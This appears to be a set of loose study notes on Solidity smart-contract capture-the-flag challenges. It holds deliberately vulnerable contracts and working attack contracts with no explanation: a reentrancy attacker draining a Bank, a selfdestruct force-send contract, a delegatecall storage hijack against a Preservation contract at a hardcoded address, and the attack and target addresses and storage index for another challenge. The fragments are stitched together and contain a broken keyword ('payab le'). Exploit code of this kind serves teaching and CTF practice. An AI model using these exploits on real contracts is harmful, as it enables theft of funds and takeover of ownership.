Solidity 入门笔记¶

function giveMeFlag() public {
    require(msg.sender == getWinner(), "Election: you're not the winner");
    require(proposals[msg.sender].valid, "Election: no proposal from candidate");
    if (_stringCompare(proposals[msg.sender].policies, "Give me the flag, please")) {
        sendFlag = true;
        emit SendFlag(msg.sender);
    }
}

modifier auth {
    require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
    _;
}

function withdraw(uint256 amount) public payable {
    require(balanceOf[msg.sender] >= amount, "NO!");
    msg.sender.call.value(amount)();
    balanceOf[msg.sender] -= amount;
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.23;
contract Bank {
    mapping(address => uint256) public balanceOf;

    function doit() public {
        balanceOf[msg.sender] = 1 ether;
    }

    function withdraw(uint256 amount) public payab le {
        require(balanceOf[msg.sender] >= amount, "NO!");
        msg.sender.call.value(amount)();
        balanceOf[msg.sender] -= amount;
    }

    function() payable {
    }
}

contract Hacker {
    bool status = false;
    Bank b;

    constructor(address addr) public {
        b = Bank(addr);
    }

    function doit() public {
        b.doit();
    }

    function hack() public payable {
        b.withdraw(1 ether);
    }

    function() public payable {
        if (!status) {
            status = true;
            b.withdraw(1 ether);
        }
    }
}

contract transfer_force{
    address owner;
    function () payable {
    }
    constructor()public{
        owner = msg.sender;
    }
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    function kill(address to) public onlyOwner {
        selfdestruct(to);
    }
}

def unknown1727bb94(uint256 _param1): # not payable
  require balanceOf[caller] > 0
  balanceOf[caller]--
  if _param1 == stor0:
      balanceOf[caller] += 2
      unknown6956604e[caller] = 1

def unknownad17b493(uint256 _param1): # not payable
  require caller == stor1
  require balanceOf[caller] - 2 > 0
  require 1 == unknown6956604e[caller]
  balanceOf[caller] -= 2
  if _param1 == stor0:
      balanceOf[caller] += 2

# bet.broken
event SendFlag(string b64email);

function payforflag(string b64email) public {
    require(balanceOf[msg.sender] >= 100000);
    emit SendFlag(b64email);
}

def Bet(): # not payable
  stor1 = caller
def unknownf98b23c9(uint256 _param1): # not payable
  require caller == stor1
  stor0 = _param1

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract Storage {
    uint256 number;
    function store(uint256 num) public {
        number = num;
    }
    function retrieve() public view returns (uint256){
        return number;
    }
}

AttributeDict({'baseFeePerGas': 81505767704, 'difficulty': 0, 'extraData': HexBytes('0x'), 'gasLimit': 30000000, 'gasUsed': 515860, 'hash': HexBytes('0x3a7395de87078ad6ac83854f1a397d6a8c89db58d56c81bee46f7bc2e6ec86b1'), 'logsBloom': HexBytes('xxx'), 'miner': '0x455E5AA18469bC6ccEF49594645666C587A3a71B', 'mixHash': HexBytes('0xd8ad69c7830d92f6962519fc200e70a7d362750910989c64ca4ed60819c54f1e'), 'nonce': HexBytes('0x0000000000000000'), 'number': 7914357, 'parentHash': HexBytes('0x4b142d01eacf24245ad2e503876c9f539878c677709ef9ab312635ecaf09538d'), 'receiptsRoot': HexBytes('0xcfe68c1c70083eafb9d6f45f29ad893af7ddaf2ac889126fdb8765f7b2151ff7'), 'sha3Uncles': HexBytes('0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347'), 'size': 6291, 'stateRoot': HexBytes('0xf434bc77b9e1a827832504a99cee4244bb3d90278402f0d7f28f3f9101647e69'), 'timestamp': 1667895276, 'totalDifficulty': 10790000, 'transactions': [xxx], 'transactionsRoot': HexBytes('0x076fafec21cce6c2113420eb14eb9a2fdd8c9d5ebf396b01c11b06ca2d39beba'), 'uncles': []})

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.23;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

contract attack {
    uint public foo1;
    uint public foo2;
    address public owner;
    address target_addr = 0xf8e81D47203A594245E36C48e151709F0C19fBe8;
    Preservation public target = Preservation(target_addr);
    function attack1() {
        target.setFirstTime(uint(address(this)));
    }
    function attack2(address self) {
        target.setFirstTime(uint(self));
    }
    function setTime(uint _time) public {
        foo1 = _time;
        foo2 = _time;
        owner = address(_time);
    }
}

pragma solidity ^0.4.24;

contract Bank {
    event SendEther(address addr);
    event SendFlag(address addr);

    address public owner;
    uint randomNumber = 297324972;

    constructor() public {
        owner = msg.sender;
    }

    struct SafeBox {
        bool done;
        function(uint, bytes12) internal callback;
        bytes12 hash;
        uint value;
    }
    SafeBox[] safeboxes;

    struct FailedAttempt {
        uint idx;
        uint time;
        bytes12 triedPass;
        address origin;
    }
    mapping(address => FailedAttempt[]) failedLogs;

    modifier onlyPass(uint idx, bytes12 pass) {
        if (bytes12(sha3(pass)) != safeboxes[idx].hash) {
            FailedAttempt info;
            info.idx = idx;
            info.time = now;
            info.triedPass = pass;
            info.origin = tx.origin;
            failedLogs[msg.sender].push(info);
        }
        else {
            _;
        }
    }

    function deposit(bytes12 hash) payable public returns(uint) {
        SafeBox box;
        box.done = false;
        box.hash = hash;
        box.value = msg.value;
        if (msg.sender == owner) {
            box.callback = sendFlag;
        }
        else {
            require(msg.value >= 1 ether);
            box.value -= 0.01 ether;
            box.callback = sendEther;
        }
        safeboxes.push(box);
        return safeboxes.length-1;
    }

    function withdraw(uint idx, bytes12 pass) public payable {
        SafeBox box = safeboxes[idx];
        require(!box.done);
        box.callback(idx, pass);
        box.done = true;
    }

    function sendEther(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
        msg.sender.transfer(safeboxes[idx].value);
        emit SendEther(msg.sender);
    }

    function sendFlag(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
        require(msg.value >= 100000000 ether);
        emit SendFlag(msg.sender);
        selfdestruct(owner);
    }

}

Attack address 0x583031D1113aD414F02576BD6afaBfb302140225

Target 0xa67a8eb9e04e561fd4dcfe7e2367d6861c714364e99862c5b664ec38aea6a90e

idx 23098898392122849103790042457787377065045997405586824991915591150521413904160